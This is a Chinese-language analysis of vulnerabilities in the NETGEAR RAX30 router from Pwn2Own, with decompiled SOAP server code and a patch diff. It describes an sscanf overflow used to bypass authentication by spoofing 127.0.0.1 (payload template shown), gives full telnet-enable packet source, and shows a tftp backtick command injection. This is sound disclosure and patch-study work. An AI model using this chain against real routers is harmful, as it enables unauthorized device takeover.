Pwn2Own-RAX30 Routers漏洞分析

Pwn2Own-RAX30 Routers漏洞分析

描述

Team82 disclosed five vulnerabilities in NETGEAR’s Nighthawk RAX30 routers as part of its research and participation in last December’s Pwn2Own Toronto hacking competition.

漏洞分析

固件下载链接:https://www.downloads.netgear.com/files/GDC/RAX30/RAX30-V1.0.9.92.zip

固件下载之后binwalk可以直接解包,有漏洞在soap_serverd文件中,这是一个soap的server端,所以首先逆向分析一下这个二进制文件

发现start这里不太能直接看出main函数,所以看一下汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// positive sp value has been detected, the output may be wrong!
void __noreturn start(void (*a1)(void), int a2, int a3, int a4, ...)
{
int v4; // [sp-4h] [bp-4h]
va_list va; // [sp+0h] [bp+0h] BYREF

va_start(va, a4);
_libc_start_main(
(int (__fastcall *)(int, char **, char **))*(&off_4D60 + 67722),
v4,
(char **)va,
(void (*)(void))*(&off_4D60 + 67740),
(void (*)(void))*(&off_4D60 + 67745),
a1,
va);
abort();
}

可以看到main函数是sub_49F4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00004D18                 MOV             R11, #0
.text:00004D1C MOV LR, #0
.text:00004D20 POP {R1} ; argc
.text:00004D24 MOV R2, SP ; ubp_av
.text:00004D28 PUSH {R2} ; stack_end
.text:00004D2C PUSH {R0} ; rtld_fini
.text:00004D30 LDR R10, =(_GLOBAL_OFFSET_TABLE_ - 0x4D60)
.text:00004D34 ADR R3, off_4D60
.text:00004D38 ADD R10, R10, R3 ; _GLOBAL_OFFSET_TABLE_
.text:00004D3C LDR R12, =(off_46FE4 - 0x46CA0)
.text:00004D40 LDR R12, [R10,R12] ; nullsub_1
.text:00004D44 PUSH {R12} ; fini
.text:00004D48 LDR R3, =(off_46FD0 - 0x46CA0)
.text:00004D4C LDR R3, [R10,R3] ; sub_30450 ; init
.text:00004D50 LDR R0, =(off_46F88 - 0x46CA0)
.text:00004D54 LDR R0, [R10,R0] ; sub_49F4 ; main
.text:00004D58 BL __libc_start_main
.text:00004D5C BL abort

跟进分析

添加dpmnlv这些参数

初始化日志系统,消息模块,主功能模块

初始化成功,则调用相应功能函数

如果失败,则释放资源并返回错误码

主功能函数是sub_8FC0和sub_58C8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
int __fastcall sub_49F4(int a1, char **argv)
{
int v2; // r9
int v4; // r5
int v5; // r10
int v6; // r11
int v7; // r0
int v8; // r4
int v9; // r0
int v10; // r0
int v11; // r0
int v13; // r7
int v14; // r0
int v15; // r0
int v17; // [sp+1Ch] [bp-24h] BYREF

v17 = -1;
v2 = 0;
v4 = 0;
v5 = 8786;
v6 = 3;
while ( 1 )
{
LABEL_2:
v7 = getopt(a1, argv, "d:p:m:n:l:v");
v8 = v7;
if ( v7 == -1 )
{
log_log(5, "main", 534, "using soapserver serverPort=%ld shmId=%d", off_47008, v17);
cmsLog_initWithName(v5, *argv);
cmsLog_setLevel(v6);
v9 = cmsMsg_initWithFlags(v5, 0, &dword_48244);
if ( v9 )
{
v10 = log_log(3, "main", 541, "cmsMsg_init failed, ret=%d", v9);
}
else
{
v13 = cmsMdm_initWithAcc(v5, 16, dword_48244, &v17);
if ( !v13 )
{
v8 = 0;
sub_8FC0(v4);
v14 = sub_58C8(v2);
cmsMdm_cleanup(v14);
v15 = cmsMsg_cleanup(&dword_48244);
cmsLog_cleanup(v15);
return v8;
}
log_log(3, "main", 548, "cmsMdm_init failed, ret=%d", v13);
v10 = cmsMsg_cleanup(&dword_48244);
}
cmsLog_cleanup(v10);
return v8;
}
if ( v7 != 100 )
break;
v11 = atoi(optarg);
if ( v11 )
{
if ( v11 == 1 )
v6 = 5;
else
v6 = 7;
}
else
{
v6 = 3;
}
}
if ( (unsigned int)(v7 - 108) > 0xA )
{
LABEL_24:
v8 = -1;
log_log(3, "main", 528, "bad arguments, exit");
_printf_chk(1, "usage: %s [-d num] [-p port_num] [-m shmid] [-v]\\n", *argv);
puts(" d: set verbosity, where num==0 is LOG_LEVEL_ERR, 1 is LOG_LEVEL_NOTICE, all others is LOG_LEVEL_DEBUG");
puts(" p: TCP port number for httpd to listen on");
puts(" m: shared memory id, -1 if standalone or not using shared mem.");
puts(" v: show Netgear SOAP API version.");
}
else
{
switch ( v7 )
{
case 'l':
if ( atoi(optarg) == 1 )
v2 = 1;
goto LABEL_2;
case 'm':
v17 = atoi(optarg);
goto LABEL_2;
case 'n':
v4 = atoi(optarg);
if ( v4 != 1 )
{
v5 = 8785;
v4 = 0;
}
goto LABEL_2;
case 'p':
off_47008 = (void *)atoi(optarg);
goto LABEL_2;
case 'v':
v8 = 0;
puts("3.84");
break;
default:
goto LABEL_24;
}
}
return v8;
}

sub_8FC0函数就是初始化,获取并调用初始化后的处理函数

sub_58C8函数主要是处理SOAP请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
int __fastcall sub_58C8(int a1)
{
......
fd = 0;
addr_len = 28;
memset(v73, 0, 46);
signal(13, (__sighandler_t)((char *)&dword_0 + 1));
memset(&v71.sa_mask, 0, 0x88u);
v71.sa_handler = (__sighandler_t)sub_4EBC;
v71.sa_flags = 0x80000000;
v1 = sigaction(15, &v71, 0);
if ( v1 )
log_log(3, "soap_main", 616, "failed to install SIGTERM handler, ret=%d", v1);
v2 = sigaction(2, &v71, 0);
if ( v2 )
log_log(3, "soap_main", 622, "failed to install SIGINT handler, ret=%d", v2);
v3 = 0;
optval.__fds_bits[0] = 0;
memset(addr, 0, sizeof(addr));
strcpy(addr, "\\n");
v4 = socket(10, 524289, 0);
v5 = v4;
if ( v4 < 0 )
{
perror("socket");
LABEL_7:
v6 = *_errno_location();
v7 = strerror(v6);
log_log(3, "soap_main", 628, "initialize_listen_socket failed, errno=%d(%s)", v6, v7);
return -1;
}
fcntl(v4, 2, 1);
optval.__fds_bits[0] = 1;
if ( setsockopt(v5, 1, 2, &optval, 4u) < 0 )
{
v9 = "setsockopt";
LABEL_10:
perror(v9);
close(v5);
goto LABEL_7;
}
strcpy(addr, "\\n");
*(_WORD *)&addr[2] = __rev16((unsigned int)serverport);
v10 = in6addr_any.in6_u.u6_addr32[1];
v11 = in6addr_any.in6_u.u6_addr32[2];
v12 = in6addr_any.in6_u.u6_addr32[3];
*(_DWORD *)&addr[8] = in6addr_any.in6_u.u6_addr32[0];
*(_DWORD *)&addr[12] = v10;
*(_DWORD *)&addr[16] = v11;
*(_DWORD *)&addr[20] = v12;
if ( bind(v5, (const struct sockaddr *)addr, 0x1Cu) < 0 )
{
v9 = "bind";
goto LABEL_10;
}
if ( listen(v5, 10) < 0 )
{
v9 = "listen";
goto LABEL_10;
}
v13 = dword_49448;
do
{
++v3;
v14 = memset(v13, 0, 0x5Cu);
*v14 = -1;
v13 = v14 + 23;
}
while ( v3 != 64 );
sub_5898(v14, v15, -1, v13);
v63 = 1 << (v5 & 0x1F);
while ( 1 )
{
do
{
LABEL_18:
while ( 1 )
{
v16 = 0;
v17 = &unk_49450;
v18 = 0;
v19 = 0;
v20 = time(0);
do
{
if ( *(v17 - 2) != -1 )
{
v21 = *(v17 - 1);
++v18;
if ( v20 > v21 && v20 - v21 > 300 )
{
v61 = *(v17 - 2);
memset(v17, 0, 0x2Eu);
*(v17 - 1) = 0;
++v16;
log_log(7, "close_timeout_client", 204, "client conn_fd %d close from slot %d", v61, v19);
close(*(v17 - 2));
*(v17 - 2) = -1;
}
}
++v19;
v17 += 23;
}
while ( v19 != 64 );
log_log(
5,
"close_timeout_client",
212,
"Use Clients:[%d], Timeout Clients:[%d], Empty Clients:[%d]",
v18,
v16,
64 - v18);
p_optval = &optval;
for ( i = 0; i != 32; ++i )
{
p_optval->__fds_bits[0] = 0;
p_optval = (fd_set *)((char *)p_optval + 4);
}
v24 = v5;
v25 = _fdelt_chk(v5, 0, p_optval);
v27 = 1 << (v5 & 0x1F);
optval.__fds_bits[v25] |= v63;
v28 = dword_49448;
do
{
if ( *v28 != -1 )
{
v29 = _fdelt_chk(*v28, v26, v27);
v26 = *v28 & 0x1F;
v30 = &v77[4 * v29 + 92];
if ( *v28 <= 0 )
v26 = -(-*v28 & 0x1F);
if ( v24 < *v28 )
v24 = *v28;
v27 = *((_DWORD *)v30 - 134) | (1 << v26);
*((_DWORD *)v30 - 134) = v27;
}
v28 += 23;
}
while ( v28 != &dword_4AB48 );
v62 = select(v24 + 1, &optval, 0, 0, 0);
if ( v62 != -1 )
break;
if ( dword_4823C )
{
log_log(5, "soap_main", 661, "received signal %d, terminate soapservd", dword_4823C);
goto LABEL_37;
}
v33 = *_errno_location();
v34 = strerror(v33);
log_log(3, "soap_main", 666, "error on select, errno=%d(%s)", v33, v34);
usleep(0x64u);
}
if ( (v63 & optval.__fds_bits[_fdelt_chk(v5, v31, v32)]) == 0 )
break;
memset(v74, 0, 46);
fd = accept(v5, (struct sockaddr *)addr, &addr_len);
if ( fd < 0 )
{
v35 = *_errno_location();
v36 = strerror(v35);
log_log(3, "soap_main", 678, "accept failed with errno=%d(%s)", v35, v36);
goto LABEL_37;
}
memset(v75, 0, 46);
inet_ntop(10, &addr[8], (char *)v75, 0x2Eu);
log_log(7, "soap_main", 687, "client IPv6 ip=%s", (const char *)v75);
if ( strchr((const char *)v75, 46) && strstr((const char *)v75, ":ffff:") )
v37 = strrchr((const char *)v75, 58) + 1;
else
v37 = (char *)v75;
_strcpy_chk(v74, v37, 46);
log_log(7, "soap_main", 707, "client ip=%s", (const char *)v74);
if ( a1 )
{
if ( cmsUtl_strcmp(v74, "127.0.0.1") )
{
if ( cmsNet_getLanInfo("br0", &in, v68) || (v50 = inet_ntoa(in), cmsUtl_strcmp(v74, v50)) )
{
log_log(3, "soap_main", 730, "Reject this client (IP address is %s)", (const char *)v74);
close(fd);
fd = -1;
}
}
}
v38 = fd;
if ( fd != -1 )
{
memset(v77, 0, 0x58u);
v76 = fd;
v39 = 0;
_strcpy_chk(&v77[4], v74, 46);
do
{
v40 = &dword_49448[23 * v39];
if ( *v40 == -1 )
{
*v40 = v38;
v40[1] = time(0);
_strcpy_chk(&dword_49448[23 * v39 + 2], &v77[4], 46);
log_log(
7,
"add_client",
145,
"new client conn_fd %d (%s) inserted at slot %d at %ld",
v76,
&v77[4],
v39,
v40[1]);
log_log(7, "soap_main", 743, "accepted new client at fd=%d, use select to detect first data", fd);
fd = -1;
goto LABEL_53;
}
++v39;
}
while ( v39 != 64 );
log_log(3, "add_client", 152, "could not insert new client fd %d, MAX_SOAPSERVERD_CLIENT_FDS=%d", v38, 64);
log_log(3, "soap_main", 749, "fd is full, so delete an fd with the longest time\\n");
v51 = 31;
v52 = 1;
do
{
--v51;
v52 *= 2;
}
while ( v51 );
v53 = v52 - 1;
log_log(7, "replace_client", 225, "timestamp is %ld", v53);
v54 = dword_49448;
for ( j = 0; j != 64; ++j )
{
if ( *v54 != -1 && v54[1] < v53 )
{
v53 = v54[1];
v51 = j;
}
v54 += 23;
}
if ( v51 <= 63 )
{
v56 = &dword_49448[23 * v51];
close(*v56);
*v56 = v76;
v56[1] = time(0);
_strcpy_chk(&dword_49448[23 * v51 + 2], &v77[4], 46);
log_log(
5,
"replace_client",
245,
"Replace client conn_fd %d (%s) inserted at slot %d at %ld",
v76,
&v77[4],
v51,
v56[1]);
}
fd = -1;
}
LABEL_53:
;
}
while ( v62 <= 1 );
v41 = 0;
memset(v73, 0, 0x2Eu);
v44 = dword_49448;
while ( 1 )
{
if ( *v44 != -1 )
{
v45 = _fdelt_chk(*v44, v42, v43);
v46 = *v44;
v47 = *v44 & 0x1F;
if ( *v44 <= 0 )
v47 = -(-*v44 & 0x1F);
v43 = optval.__fds_bits[v45];
if ( (v43 & (1 << v47)) != 0 )
break;
}
++v41;
v44 += 23;
if ( v41 == 64 )
{
log_log(5, "find_and_activate_client_ip", 585, "Could not find any active client fd's, ignoring");
log_log(3, "soap_main", 767, "Cannot figure out which fd is set!! Abort and exit.");
goto LABEL_37;
}
}
fd = *v44;
_strcpy_chk(v73, &dword_49448[23 * v41 + 2], 46);
log_log(7, "find_and_activate_client_ip", 580, "find IP [%s] and handle [%d]", (const char *)v73, v46);
log_log(7, "soap_main", 771, "=== start service of conn_fd=%d ===", fd);
v69[0] = 0;
v69[1] = &unk_493E0;
setsockopt(fd, 1, 20, v69, 8u);
if ( !sub_8F20(fd) )
{
v48 = _errno_location();
log_log(3, "soap_main", 787, "fdopen failed with errno=%d", *v48);
v49 = sub_4ED0(fd);
sub_8F78(v49);
fd = -1;
goto LABEL_18;
}
sub_52F0(v73);
v57 = sub_8F50(&fd);
if ( dword_48240 != 5 )
sub_8F9C(v57);
v58 = sub_4ED0(fd);
sub_8F78(v58);
fd = -1;
v59 = dword_48240 == 4;
if ( dword_48240 != 4 )
v59 = dword_48240 == 1;
v60 = v59;
if ( v59 )
break;
switch ( dword_48240 )
{
case 5:
goto LABEL_37;
case 7:
goto LABEL_87;
case 3:
goto LABEL_37;
case 8:
dword_48240 = v60;
system("/usr/sbin/ntgr_speedtest.sh &");
break;
}
}
if ( dword_48240 == 7 )
LABEL_87:
data_Restoredefault("SOAP_SERVER", 5000, "admin", "");
if ( dword_48240 == 1 )
data_Reboot("SOAP_SERVER", 5000, "admin", "");
LABEL_37:
close(v5);
return 0;
}

初始化Socket,绑定端口,监听连接

使用select监听客户端连接,接受连接请求

对于有数据的连接,接收并处理SOAP请求

sub_52F0函数则是对SOAP请求进行解析,而漏洞点也发生在这里

定期扫描并关闭超时的连接

跟进sub_52F0函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
void __fastcall sub_52F0(int a1)
{
const char *v2; // r3
int v3; // r6
int v4; // r0
int v5; // r0
size_t v6; // r0
char *v7; // r4
int v8; // r0
int v9; // r0
size_t v10; // r0
const char *v11; // r0
char *v12; // r4
int line[512]; // [sp+24h] [bp-FDCh] BYREF
int method[512]; // [sp+824h] [bp-7DCh] BYREF
char path[2048]; // [sp+1024h] [bp+24h] BYREF
char protocol[2048]; // [sp+1824h] [bp+824h] BYREF
char v17[2048]; // [sp+2024h] [bp+1024h] BYREF
char v18[2052]; // [sp+2824h] [bp+1824h] BYREF

memset(line, 0, sizeof(line));
memset(method, 0, sizeof(method));
memset(path, 0, sizeof(path));
memset(protocol, 0, sizeof(protocol));
memset(v17, 0, sizeof(v17));
memset(v18, 0, 2048);
if ( !sub_8EF0(line) )
{
log_log(7, "handle_soapRequest", 384, "line:[%s]", (const char *)line);
v2 = "No request found.";
LABEL_3:
sub_8AC4(400, "Bad Request", 0, v2);
return;
}
if ( _isoc99_sscanf(line, "%[^ ] %[^ ] %[^ ]", method, path, protocol) != 3 )
{
log_log(7, "handle_soapRequest", 400, "method:[%s], path:[%s], protocol:[%s]", (const char *)method, path, protocol);
v2 = "Can't parse request.";
goto LABEL_3;
}
if ( strcasecmp((const char *)method, "post") )
{
log_log(7, "handle_soapRequest", 407, "Received method is [%s].", (const char *)method);
v2 = "That method is not handled by us.";
goto LABEL_3;
}
sub_5044(a1);
v3 = 0;
while ( sub_8EF0(line) == 1 && cmsUtl_strcmp(line, "\\n") && cmsUtl_strcmp(line, "\\r\\n") )
{
v5 = cmsUtl_strlen("SOAPAction:");
if ( cmsUtl_strncasecmp(line, "SOAPAction:", v5) )
{
v7 = strstr((const char *)line, "Content-Length:");
if ( v7 )
{
v8 = cmsUtl_strlen("Content-Length: ");
v9 = atoi(&v7[v8]);
log_log(7, "handle_soapRequest", 438, "Content-Length:[%d]", v9);
}
else
{
v10 = cmsUtl_strlen("Cookie:");
if ( !strncasecmp((const char *)line, "Cookie:", v10) )
{
v11 = (const char *)sub_50D4(line);
v12 = (char *)v11;
if ( v11 )
{
sub_4FB0((const char *)a1, v11);
log_log(7, "handle_soapRequest", 447, "token:[%s]", v12);
free(v12);
}
}
}
}
else
{
v6 = strspn((const char *)&line[2] + 3, " \\t");
cmsUtl_strncpy(v17, (char *)&line[2] + v6 + 3, 2048);
log_log(7, "handle_soapRequest", 432, "soapAction:[%s]", v17);
v3 = 1;
}
}
if ( v3 )
{
v4 = sub_8EC0((int)v18);
if ( v4 > 0 )
{
v18[v4 + 1] = 0;
sub_6F78(0, v17, v18, a1);
}
}
}

会将第一行给切割成method,path,protocol

例如:POST /soap/server_sa/ HTTP/1.1,会被切割成method = POST, path = /soap/server_sa/, protocol = HTTP/1.1

这里的sscanf发生了溢出,可以传入很大的数据来使得变量溢出

但是这里有一个限制,从http端口进去的时候会有一个0x800的数据限制

1
2
3
4
5
size_t __fastcall sub_81B4(int a1, void *s)
{
memset(s, 0, 0x800u);
return fread(s, 1u, 0x800u, *(FILE **)(a1 + 12));
}

而从https端口进去的时候没有数据长度限制

会一直读取数据,直到发送\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall sub_838C(int a1, char *buf)
{
int i; // r7
int v5; // r0
unsigned int error; // r0
bool v8; // cc
char v9; // [sp+4h] [bp-1Ch]

v9 = (char)buf;
memset(buf, 0, 0x800u);
i = 0;
do
{
while ( 1 )
{
v5 = SSL_read();
if ( !v5 )
return 0;
if ( v5 != -1 )
break;
error = SSL_get_error(*(_DWORD *)(a1 + 4), -1);
if ( error - 2 > 1 )
{
v8 = error > 1;
if ( error != 1 )
v8 = error - 5 > 1;
if ( !v8 )
return 0;
}
}
buf[i++] = v9;
}
while ( v9 != 10 );
return 1;
}

所以就可以从https端口打进去来配合sscanf达到溢出

SOAP运行命令的时候需要认证

认证函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool __fastcall sub_A2C0(const char *a1)
{
......

memset(v19, 0, 18);
v2 = dword_4AB74;
if ( !cmsUtl_strcmp(a1, "127.0.0.1") )
return 1;
LanInfo = cmsNet_getLanInfo();
if ( LanInfo )
{
log_log(3, "CheckAuthenticated", 207, "Fail to get %s's IP address, ret=%d", "br0", LanInfo);
goto LABEL_6;
}
v4 = inet_ntoa(in);
log_log(7, "CheckAuthenticated", 198, "%s's IP address = %s", "br0", v4);
......
}

服务器在验证用户身份时首先检查请求是否来自127.0.0.1,如果是127.0.0.1则不需要身份验证

发现这个a1是可以通过上面的那个溢出达成覆盖,所以可以将a1覆盖成127.0.0.1来达到身份验证绕过

包如下

1
payload = POST + SPACE + ("a" * [REDACTED]) + SPACE + ("b" * [REDACTED]) + "127.0.0.1" + ("c" * [REDACTED])

同时,这个路由器还存在重置管理员密码的漏洞

设置路由器时,用户需要输入一个新的的密码,并给这个密码加上安全问题和答案,这些问题的答案以纯文本 (base64) 形式存储在设备配置中

利用前面的漏洞就可以获取配置,从而进行密码重置

发现了可以发送magic数据来达到telnet开启,magic发包代码如下,需要设备的MAC地址、用户名、密码,这些都可以利用之前的漏洞来得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
/*
This program is a re-implementation of the telnet console enabler utility
for use with Netgear wireless routers.

The original Netgear Windows binary version of this tool is available here:
<http://www.netgear.co.kr/Support/Product/FileInfo.asp?IDXNo=155>

Per DMCA 17 U.S.C. §1201(f)(1)-(2), the original Netgear executable was
reverse engineered to enable interoperability with other operating systems
not supported by the original windows-only tool (MacOS, Linux, etc).

Netgear Router - Console Telnet Enable Utility
Release 0.1 : 25th June 2006
Copyright (C) 2006, yoshac @ member.fsf.org
Release 0.2 : 20th August 2012
dj bug fix on OS X
Release 0.3 : 8th October 2012
keithr-git bug fix to send entire packet in one write() call,
strcpy->strncpy, clean up some whitespace

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

The RSA MD5 and Blowfish implementations are provided under LGPL from
<http://www.opentom.org/Mkttimage>
*/

#include <netinet/tcp.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#include <stdlib.h>
#include <stdio.h>
//#include <process.h>
#include <string.h>

#include "md5.h"
#include "blowfish.h"

static char output_buf[0x640];

static BLOWFISH_CTX ctx;

struct PAYLOAD
{
char signature[0x10];
char mac[0x10];
char username[0x10];
char password[0x10];
char reserved[0x40];
} payload;

void usage(char * progname)
{
printf("\\nVersion:0.3, 2012/10/08\\n");
printf("Usage:\\n%s <host ip> <host mac> <user name> <password>\\n\\n",progname);
exit(-1);
}

int socket_connect(char *host, in_port_t port){
struct hostent *hp;
struct sockaddr_in addr;
int on = 1, sock;

if((hp = gethostbyname(host)) == NULL){
herror("gethostbyname");
exit(1);
}
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
if(sock == -1){
perror("setsockopt");
exit(1);
}
if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
perror("connect");
exit(1);
}
return sock;
}

int GetOutputLength(unsigned long lInputLong)
{
unsigned long lVal = lInputLong % 8;

if (lVal!=0)
return lInputLong+8-lVal;
else
return lInputLong;
}

int EncodeString(BLOWFISH_CTX *ctx,char *pInput,char *pOutput, int lSize)
{
int SameDest = 0;
int lCount;
int lOutSize;
int i=0;

lOutSize = GetOutputLength(lSize);
lCount=0;
while (lCount<lOutSize)
{
char *pi=pInput;
char *po=pOutput;
for (i=0;i<8;i++)
*po++=*pi++;
Blowfish_Encrypt(ctx,(uint32_t *)pOutput,(uint32_t *)(pOutput+4));
pInput+=8;
pOutput+=8;
lCount+=8;
}

return lCount;
}

int fill_payload(int argc, char * input[])
{
MD5_CTX MD;
char MD5_key[0x10];
char secret_key[0x400]="AMBIT_TELNET_ENABLE+";
int encoded_len;

memset(&payload, 0, sizeof(payload));
// NOTE: struct has .mac behind .signature and is filled here
strcpy(payload.mac, input[2]);
strcpy(payload.username, input[3]);

if (argc==5)
strcpy(payload.password, input[4]);

MD5Init(&MD);
MD5Update(&MD,payload.mac,0x70);
MD5Final(MD5_key,&MD);

strncpy(payload.signature, MD5_key, sizeof(payload.signature));
// NOTE: so why concatenate outside of the .signature boundary again
// using strcat? deleting this line would keep the payload the same and not
// cause some funky abort() or segmentation fault on newer gcc's
// dj: this was attempting to put back the first byte of the MAC address
// dj: which was getting stomped by the strcpy of the MD5_key above
// dj: a better fix is to use strncpy to avoid the stomping in the 1st place
// strcat(payload.signature, input[2]);

if (argc==5)
strncat(secret_key,input[4],sizeof(secret_key) - strlen(secret_key) - 1);

Blowfish_Init(&ctx,secret_key,strlen(secret_key));

encoded_len = EncodeString(&ctx,(char*)&payload,(char*)&output_buf,0x80);

return encoded_len;
}

int PORT = 23;

int main(int argc, char * argv[])
{

int datasize;
int i;

if (argc!=5)
usage(argv[0]);

datasize = fill_payload(argc, argv);

int sock = socket_connect(argv[1],PORT);
write(sock, output_buf, datasize);
close(sock);

return 0;
}

但发现telnet连接上去之后是一个受限的cli,有很多时候受限的cli里存在命令注入漏洞,看一下libcms_cli.so是否存在命令注入漏洞

1
2
3
4
5
6
7
int __fastcall sub_5CC0(const char *a1)
{
char v2[520]; // [sp+0h] [bp-208h] BYREF

sprintf(v2, "bcmbusybox tftp %s", a1);
return prctl_runCommandInShellBlocking(v2);
}

发现在sub_5CC0里用tftp命令时存在命令注入,所以可以利用如下方式进行利用

1
tftp `ls`

最后达到rce效果

漏洞修复

下载fixed版本1.0.10.94,首先diff一下soap_serverd,可以看到在切割method这些数据的时候加上了%511

1
if ( _isoc99_sscanf(v18, "%511[^ ] %511[^ ] %511[^ ]", v15, v16, v17) != 3 )

在https输入数据的时候也进行了限制,加入了v6 <= v7这个长度判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall sub_83AC(int a1, void *s, size_t a3)
{
signed int v6; // r4
signed int v7; // r9
int v8; // r0
unsigned int error; // r0
bool v11; // cc
bool v12; // zf
void *v13; // [sp+4h] [bp-1Ch] BYREF

v13 = s;
memset(s, 0, a3);
v6 = a3 - 1;
v7 = 0;
do
{
while ( 1 )
{
if ( v6 <= v7 )
return 0;
v8 = SSL_read(*(_DWORD *)(a1 + 4), &v13, 1);
if ( !v8 )
return 0;
if ( v8 != -1 )
break;
error = SSL_get_error(*(_DWORD *)(a1 + 4));
if ( error - 2 > 1 )
{
v11 = error > 1;
if ( error != 1 )
v11 = error - 5 > 1;
if ( !v11 )
return 0;
}
}
v12 = (unsigned __int8)v13 == 10;
*((_BYTE *)s + v7++) = (_BYTE)v13;
}
while ( !v12 );
return 1;
}